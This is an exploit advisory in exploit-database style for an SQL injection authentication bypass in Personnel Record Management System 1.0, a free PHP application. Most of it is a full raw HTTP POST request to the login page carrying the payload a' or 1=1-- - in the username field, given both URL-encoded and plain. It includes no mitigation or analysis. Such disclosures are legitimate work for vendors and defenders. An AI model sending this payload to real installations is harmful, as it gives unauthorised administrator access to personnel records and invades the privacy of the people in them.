Personnel Record Management System 1.0 SQL Injection

`# Exploit Title: Personnel Record Management System | Admin Bypass (sqli)  
# Exploit Author: Richard Jones  
# Date: 28/06/2021  
# Vendor Homepage: https://www.sourcecodester.com/php/5107/record-management-system.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=5107&title=Record+Management+System+in+PHP+Free+Source+Code  
# Version: 1.0  
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34  
  
#Exploit:  
-------------------------------------------------------------------------------------------------  
POST /Personnel_record_management_system/ HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-GB,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 44  
Origin: http://127.0.0.1  
Connection: close  
Referer: http://127.0.0.1/Personnel_record_management_system/  
Cookie: PHPSESSID=8bkj7jlpmlbuqtnti8urp7qcmo  
Upgrade-Insecure-Requests: 1  
  
UserName=a%27+or+1%3D1--+-&Password=a&Login=  
  
-------------------------------------------------------------------------------------------------  
  
  
  
Unencoded: a'or 1=1-- -  
`